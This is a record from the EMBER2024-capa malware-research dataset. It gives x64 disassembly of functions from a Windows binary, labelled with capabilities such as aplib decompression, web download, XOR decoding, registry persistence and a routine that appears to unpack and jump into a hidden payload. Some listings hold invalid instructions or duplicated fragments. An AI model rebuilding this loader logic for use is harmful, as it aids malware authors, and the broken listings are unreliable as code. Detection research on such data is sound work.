joyce8/EMBER2024-capa huggingface dataset:
Function at 0x141a12108
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141a1228f
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141a12139
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a1211f
add dl, dl
jne 0x141a12146
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a121a6
xor eax, eax
add dl, dl
jne 0x141a12155
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141a1225d
add dl, dl
jne 0x141a12166
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a12173
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a12180
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a1218d
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141a1219a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141a1212e
mov eax, 1
add dl, dl
jne 0x141a121b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141a121c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a121ab
sub eax, ebx
mov ebx, 1
jne 0x141a121fc
mov ecx, 1
add dl, dl
jne 0x141a121de
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a121eb
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a121d3
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a1212e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141a12218
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141a12225
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141a1220d
cmp eax, 0x7d00
jae 0x141a1224b
cmp eax, 0x500
jb 0x141a12246
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a1212e
cmp eax, 0x7f
ja 0x141a1224e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141a1212e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141a12282
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141a1212e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001d14
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140001d8b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x140001d8b
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140001d78
cmp rbx, rcx
jae 0x140001d8b
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140001d63
cmp rbx, rcx
jae 0x140001d8b
movzx eax, word [rbx]
neg ax
sbb rax, rax
and rax, rbx
jmp 0x140001d8d
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140001f1c
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
xor ecx, ecx
lea rdx, [rax - 0x18]
mov rdi, qword [rdx]
cmp dword [rdx + 8], ecx
je 0x140001f75
cmp dword [rdx + 0x10], ecx
jge 0x140001f4f
cmp dword [rax - 0xc], ecx
jl 0x140001f80
mov dword [rax - 0x10], ecx
mov rax, qword [rbx]
mov word [rax], cx
jmp 0x140001f75
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x140001f65
mov rcx, qword [rdx]
mov rax, qword [rcx]
add byte [rax - 0x77], cl
invalid
add byte [rax], al

Function at 0x140001f62
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
push r15
push rbp
sub rsp, 0x48
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbp, rax
mov qword [rsp + 0x38], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
invalid
invalid
invalid
invalid
Function at 0x140002e50
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rdi, r8
mov rbp, rdx
call fcn.1400021cc
mov rcx, rax
test rax, rax
je 0x140002fd0
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x58], rax
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.140001318
mov rsi, 0xffffffffffffffff
test al, al
jne 0x140002ed9
test rdi, rdi
jne 0x140002eb3
xor r8d, r8d
jmp 0x140002ecb
mov r8, rsi
nop word [rax + rax]
inc r8
cmp word [rdi + r8*2], 0
jne 0x140002ec0
mov rdx, rdi
lea rcx, [rsp + 0x58]
call fcn.1400014c0
nop
lea rdx, [0x14002b880]
mov rbx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.14000f85c
test eax, eax
jne 0x140002ef9
mov dil, 1
jmp 0x140002f8b
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x14002b7d8]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140002f88
mov rax, rsi
lea rax, [rax + 1]
cmp word [rdi + rax*2], 0
jne 0x140002f43
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rdi
mov r9d, 1
xor r8d, r8d
lea rdx, [0x14002b898]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140002fc4
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor dil, dil
lea rdx, [rbx - 0x18]
lock xadd dword [rdx + 0x10], esi
sub esi, 1
jg 0x140002fa3
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
movzx eax, dil
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140009320
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
nop
mov dil, 1
jmp 0x140002f8b
mov ecx, 0x80004005
call fcn.140001fa4
int3

Function at 0x140002fe0
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x78
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x68], rax
xor ecx, ecx
lea rax, [rsp + 0x58]
mov qword [rsp + 0x40], rax
lea rdx, [0x14002b7d8]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor r8d, r8d
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140003075
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x60]
mov dword [rsp + 0x28], 8
lea rdx, [0x14002b850]
mov r9d, 3
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r9, [0x14002b820]
lea r8, [0x14002b7d8]
call fcn.140005ee0
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140009320
add rsp, 0x78
ret
Function at 0x1400030a0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
call fcn.1400021cc
mov rcx, rax
test rax, rax
je 0x140003194
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140001318
mov rdi, 0xffffffffffffffff
test al, al
jne 0x140003129
test rbx, rbx
jne 0x140003103
xor r8d, r8d
jmp 0x14000311b
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x140003110
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1400014c0
nop
lea rdx, [0x14002b804]
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
push rbx
push rsi
push r12
sub rsp, 0x30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x140023e90]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x140023e90]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdx, rax
mov edx, eax
xor eax, eax
mov r8, qword [str.VirtualProtect]
mov r9d, dword [r8 + rax]
mov ecx, dword [rax + rax]
mov dword [rax + rdx], r9d
add rax, 4
cmp rax, 0x88
invalid
jl 0x140003198
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test r12, r12
je 0x14000342a
mov rsi, qword [0x140023e10]
mov rcx, rsi
mov edx, 0x6000
lea r9, [rsp + 0x20]
mov r8d, dword [0x140023e04]
call r12
mov eax, dword [0x140023e54]
lea r9, [rsi + 8]
lea r8, [rbx + rax]
mov edx, dword [r8 + 4]
lea rax, [r8 + 8]
neg rax
add rax, r9
cmp rax, 0x5ff8
jge 0x140003219
neg rax
cmp rax, 0x5ff8
jl 0x1400033ca
and r9, 0xf
test r9d, r9d
je 0x140003256
test r9d, 3
jne 0x140003432
neg r9d
xor eax, eax
add r9d, 0x10
shr r9d, 2
mov ebx, r9d
mov r10d, dword [r8 + rax*4 + 8]
add r10d, edx
mov dword [rsi + rax*4 + 8], r10d
inc rax
cmp rax, rbx
jb 0x14000323f
jmp 0x140003258
xor ebx, ebx
mov ecx, r9d
lea r9d, [r9*4 + 8]
neg ecx
add ecx, 0xe
add r9, r8
and ecx, 0xf
neg ecx
lea eax, [rcx + 0x17fe]
test r9, 0xf
je 0x1400032e7
movd xmm0, edx
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax + rax]
nop dword [rax + rax]
movd xmm0, edx
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax + rax]
movdqu xmm1, xmmword [r8 + rbx*4 + 8]
paddd xmm1, xmm0
movdqu xmmword [rsi + rbx*4 + 8], xmm1
movdqu xmm2, xmmword [r8 + rbx*4 + 0x18]
paddd xmm2, xmm0
movdqu xmmword [rsi + rbx*4 + 0x18], xmm2
movdqu xmm3, xmmword [r8 + rbx*4 + 0x28]
paddd xmm3, xmm0
movdqu xmmword [rsi + rbx*4 + 0x28], xmm3
movdqu xmm4, xmmword [r8 + rbx*4 + 0x38]
paddd xmm4, xmm0
movdqu xmmword [rsi + rbx*4 + 0x38], xmm4
add rbx, 0x10
cmp rbx, r9
jb 0x1400032f8
xor eax, eax
mov ebx, dword [r8 + rax*8 + 8]
add ebx, edx
mov dword [rsi + rax*8 + 8], ebx
mov r9d, dword [r8 + rax*8 + 0xc]
add r9d, edx
mov dword [rsi + rax*8 + 0xc], r9d
inc rax
cmp rax, 0xbff
jb 0x1400033cc
xor eax, eax
mov r11d, 0x17fe
xor r10d, r10d
jmp 0x1400033a0
Function at 0x1400031b0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rbx, rcx
call fcn.1400021cc
mov rcx, rax
test rax, rax
je 0x140003194
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x20], rax
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.140001318
mov rdi, 0xffffffffffffffff
test al, al
jne 0x140003129
test rbx, rbx
jne 0x140003103
xor r8d, r8d
jmp 0x14000311b
mov r8, rdi
nop word [rax + rax]
inc r8
cmp word [rbx + r8*2], 0
jne 0x140003110
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1400014c0
nop
lea rdx, [0x14002b804]
mov rbx, qword [rsp + 0x20]
mov rcx, rbx
push rbx
push rsi
push r12
sub rsp, 0x30
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
mov rcx, qword [str.kernel32.dll]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x140023e90]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, dword [0x140023e90]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdx, rax
mov edx, eax
xor eax, eax
mov r8, qword [str.VirtualProtect]
mov r9d, dword [r8 + rax]
mov ecx, dword [rax + rax]
mov dword [rax + rdx], r9d
add rax, 4
cmp rax, 0x88
invalid
jl 0x140003198
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
test r12, r12
je 0x14000342a
mov rsi, qword [0x140023e10]
mov rcx, rsi
mov edx, 0x6000
lea r9, [rsp + 0x20]
mov r8d, dword [0x140023e04]
call r12
mov eax, dword [0x140023e54]
lea r9, [rsi + 8]
lea r8, [rbx + rax]
mov edx, dword [r8 + 4]
lea rax, [r8 + 8]
neg rax
add rax, r9
cmp rax, 0x5ff8
jge 0x140003219
neg rax
cmp rax, 0x5ff8
jl 0x1400033ca
and r9, 0xf
test r9d, r9d
je 0x140003256
test r9d, 3
jne 0x140003432
neg r9d
xor eax, eax
add r9d, 0x10
shr r9d, 2
mov ebx, r9d
mov r10d, dword [r8 + rax*4 + 8]
add r10d, edx
mov dword [rsi + rax*4 + 8], r10d
inc rax
cmp rax, rbx
jb 0x14000323f
jmp 0x140003258
xor ebx, ebx
mov ecx, r9d
lea r9d, [r9*4 + 8]
neg ecx
add ecx, 0xe
add r9, r8
and ecx, 0xf
neg ecx
lea eax, [rcx + 0x17fe]
test r9, 0xf
je 0x1400032e7
movd xmm0, edx
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax + rax]
nop dword [rax + rax]
movd xmm0, edx
pshufd xmm0, xmm0, 0
mov r9d, eax
nop dword [rax + rax]
movdqu xmm1, xmmword [r8 + rbx*4 + 8]
paddd xmm1, xmm0
movdqu xmmword [rsi + rbx*4 + 8], xmm1
movdqu xmm2, xmmword [r8 + rbx*4 + 0x18]
paddd xmm2, xmm0
movdqu xmmword [rsi + rbx*4 + 0x18], xmm2
movdqu xmm3, xmmword [r8 + rbx*4 + 0x28]
paddd xmm3, xmm0
movdqu xmmword [rsi + rbx*4 + 0x28], xmm3
movdqu xmm4, xmmword [r8 + rbx*4 + 0x38]
paddd xmm4, xmm0
movdqu xmmword [rsi + rbx*4 + 0x38], xmm4
add rbx, 0x10
cmp rbx, r9
jb 0x1400032f8
xor eax, eax
mov ebx, dword [r8 + rax*8 + 8]
add ebx, edx
mov dword [rsi + rax*8 + 8], ebx
mov r9d, dword [r8 + rax*8 + 0xc]
add r9d, edx
mov dword [rsi + rax*8 + 0xc], r9d
inc rax
cmp rax, 0xbff
jb 0x1400033cc
xor eax, eax
mov r11d, 0x17fe
xor r10d, r10d
jmp 0x1400033a0
Function at 0x1400032e0
Capabilities:
Terminate process

Disassembly:
movdqu xmm1, xmmword [r8 + rbx*4 + 8]
paddd xmm1, xmm0
movdqu xmmword [rsi + rbx*4 + 8], xmm1
movdqu xmm2, xmmword [r8 + rbx*4 + 0x18]
paddd xmm2, xmm0
movdqu xmmword [rsi + rbx*4 + 0x18], xmm2
movdqu xmm3, xmmword [r8 + rbx*4 + 0x28]
paddd xmm3, xmm0
movdqu xmmword [rsi + rbx*4 + 0x28], xmm3
movdqu xmm4, xmmword [r8 + rbx*4 + 0x38]
paddd xmm4, xmm0
movdqu xmmword [rsi + rbx*4 + 0x38], xmm4
add rbx, 0x10
cmp rbx, r9
jb 0x140003298
jmp 0x140003345
lea ebx, [rcx + 0x17ff]
cmp ebx, 0x17fe
ja 0x1400033ef
mov r11d, eax
neg r11d
add r11d, 0x17fe
cmp r11d, 4
jb 0x140003442
mov r10d, r11d
xor r9d, r9d
and r10d, 0xfffffffc
lea ebx, [rcx*4 + 0x5ff8]
lea ecx, [rbx + r9*4]
add r9d, 4
movsxd rcx, ecx
movdqu xmm1, xmmword [rcx + r8 + 8]
paddd xmm1, xmm0
movdqu xmmword [rcx + rsi + 8], xmm1
cmp r9d, r10d
jb 0x14000337f
cmp r10d, r11d
jae 0x1400033ef
lea ebx, [r10*4]
inc r10d
lea r9d, [rbx + rax*4]
movsxd r9, r9d
mov ebx, dword [r9 + r8 + 8]
add ebx, edx
mov dword [r9 + rsi + 8], ebx
cmp r10d, r11d
jb 0x1400033a5
jmp 0x1400033ef
mov eax, dword [0x140023e64]
mov rcx, rsi
mov dword [rsi + 8], eax
mov edx, 0x6000
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
call r12
mov eax, dword [0x140023e30]
mov edx, dword [0x140023e30]
mov ebx, dword [rsi + 0xc]
add rbx, rsi
add rsi, rdx
add rbx, rax
mov rcx, rsi
call rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor r10d, r10d
jmp 0x1400033a0
Function at 0x140005100
Capabilities:
Read data from internet
Receive data

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rax, r8
mov qword [rsp + 0x28], 0
mov r12, rdx
mov dword [rsp + 0x20], 0x84002000
mov rsi, r9
mov r14, rcx
mov rdx, rax
mov rcx, r12
xor r9d, r9d
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r15, rax
test rax, rax
je 0x140005242
cmp byte [r14 + 0x30], 0
je 0x14000517b
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 4
mov dword [r14 + 0x18], 4
jmp 0x14000524f
mov ecx, 0x1000
call fcn.140008f38
xor ebp, ebp
mov qword [rsi], rax
xor ebx, ebx
mov rdi, rax
nop
lea rdx, [rbx + rdi]
mov r8d, 0x1000
lea r9, [rsp + 0x30]
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [rsp + 0x30]
test eax, eax
je 0x1400051b4
test ecx, ecx
je 0x14000521b
add ebp, ecx
lea eax, [rbp + 0x1000]
movsxd rbx, eax
mov rcx, rbx
call fcn.140008f38
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.140021430
mov rdx, qword [rsi]
mov rcx, rdi
movsxd rbx, ebp
mov r8, rbx
call fcn.140020d90
mov rcx, qword [rsi]
mov edx, 1
call fcn.14000908c
mov qword [rsi], rdi
cmp byte [r14 + 0x30], 0
je 0x140005190
mov edx, 1
mov rcx, rdi
call fcn.14000908c
mov rcx, r12
mov qword [rsi], 0
jmp 0x140005163
mov rcx, r15
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rax, qword [rsi]
test ebp, ebp
jne 0x14000526b
test rax, rax
je 0x140005242
lea edx, [rbp + 1]
mov rcx, rax
call fcn.14000908c
mov qword [rsi], 0
mov dword [r14 + 0x18], 5
mov eax, 5
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140009320
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
test rax, rax
je 0x14000529e
lea ecx, [rbp + 1]
call fcn.140008f38
mov rdx, qword [rsi]
mov rcx, rax
mov r8d, ebp
mov rdi, rax
call fcn.140020d90
mov rcx, qword [rsi]
mov edx, 1
call fcn.14000908c
mov qword [rsi], rdi
mov byte [rbp + rdi], 0
xor eax, eax
jmp 0x14000524f
Function at 0x1400057f0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x10], rdx
push rsi
sub rsp, 0x30
mov rsi, r8
test r8, r8
je 0x140005873
mov r8, qword [rcx + 0x20]
lea rax, [rsp + 0x48]
xor ebp, ebp
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x48], rbp
call fcn.1400060b0
test eax, eax
je 0x140005873
mov rbx, qword [rsp + 0x48]
test rbx, rbx
je 0x140005873
mov r8d, dword [rbx]
xor r8d, 0x92781293
cmp r8d, 0x20
jbe 0x140005885
lea edx, [rbp + 2]
mov qword [rsp + 0x40], rdi
lea rcx, [rbx + 4]
call qword [sym.imp.KERNEL32.dll_IsBadWritePtr]
test eax, eax
jne 0x14000585e
mov word [rbx + 4], bp
mov edx, 4
mov word [rsi], bp
mov rcx, rbx
call fcn.14000908c
mov rdi, qword [rsp + 0x40]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rsi
ret
mov ecx, 7
mov r9d, ebp
test r8d, r8d
je 0x1400058b0
lea rax, [rbx + 4]
mov edx, r8d
mov r9d, r8d
nop dword [rax]
add ecx, 7
xor word [rax], cx
lea rax, [rax + 2]
sub rdx, 1
jne 0x1400058a0
mov eax, r9d
lea r8, [rbx + 4]
mov edx, 0x80
mov r9, 0xffffffffffffffff
mov rcx, rsi
mov word [rbx + rax*2 + 4], bp
call fcn.140014760
mov edx, 4
mov rcx, rbx
call fcn.14000908c
mov rbx, qword [rsp + 0x50]
mov al, 1
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rsi
ret

Function at 0x1400058f0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
lea rcx, [rsp + 0x20]
movups xmmword [rsp + 0x20], xmm0
mov rbx, r8
mov rdi, rdx
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, r8d
cmp word [rbx], dx
je 0x14000596f
mov ecx, r8d
nop word [rax + rax]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp word [rbx + rax*2], 0
jne 0x140005950
cmp rcx, rax
jae 0x14000596f
add r8w, word [rbx + rcx*2]
inc edx
mov ecx, edx
cmp word [rbx + rdx*2], 0
jne 0x140005940
movabs rax, 0xffff000000000000
and qword [rdi], rax
movabs rax, 0x917aa921821c49ab
mov word [rdi + 6], r8w
xor qword [rdi], rax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140009320
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
Function at 0x140005ee0
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, r8
lea rax, [rsp + 0x38]
mov rdi, r9
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov r9d, 1
xor r8d, r8d
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005fbc
mov rcx, qword [rsp + 0x38]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x44]
xor r8d, r8d
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov qword [rsp + 0x60], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
mov ebx, eax
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
mov rbx, qword [rsp + 0x60]
jne 0x140005fbc
lea rax, [rsp + 0x30]
mov r9d, 2
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140005fb2
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x140005fb6
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
jmp 0x140005fbe
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009320
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret

Function at 0x140005fe0
Capabilities:
Set registry value

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r10, r8
mov dword [rsp + 0x58], 1
mov rax, rdx
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x40], rcx
mov rbx, r9
lea rcx, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x38], rcx
xor r8d, r8d
xor ecx, ecx
mov rdx, r10
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], ecx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000607b
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], 4
mov r9d, 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
test eax, eax
je 0x140006090
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140009320
add rsp, 0x70
pop rbx
ret
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.140009320
add rsp, 0x70
pop rbx
ret
Function at 0x1400060b0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rbx, qword [rsp + 0x80]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
mov rdx, r8
mov rcx, 0xffffffff80000002
mov r9d, 1
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x1400061a3
xor ecx, ecx
mov dword [rsp + 0x40], 3
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], ecx
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], rcx
lea rdx, [0x14002b8b8]
mov rcx, qword [rsp + 0x38]
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140006198
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140006198
lea ecx, [rax + 0x1000]
call fcn.140008f38
lea rcx, [rsp + 0x30]
mov qword [rbx], rax
mov qword [rsp + 0x28], rcx
lea r9, [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
lea rdx, [0x14002b8b8]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, qword [rsp + 0x38]
test eax, eax
jne 0x14000619d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009320
add rsp, 0x50
pop rbx
ret
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
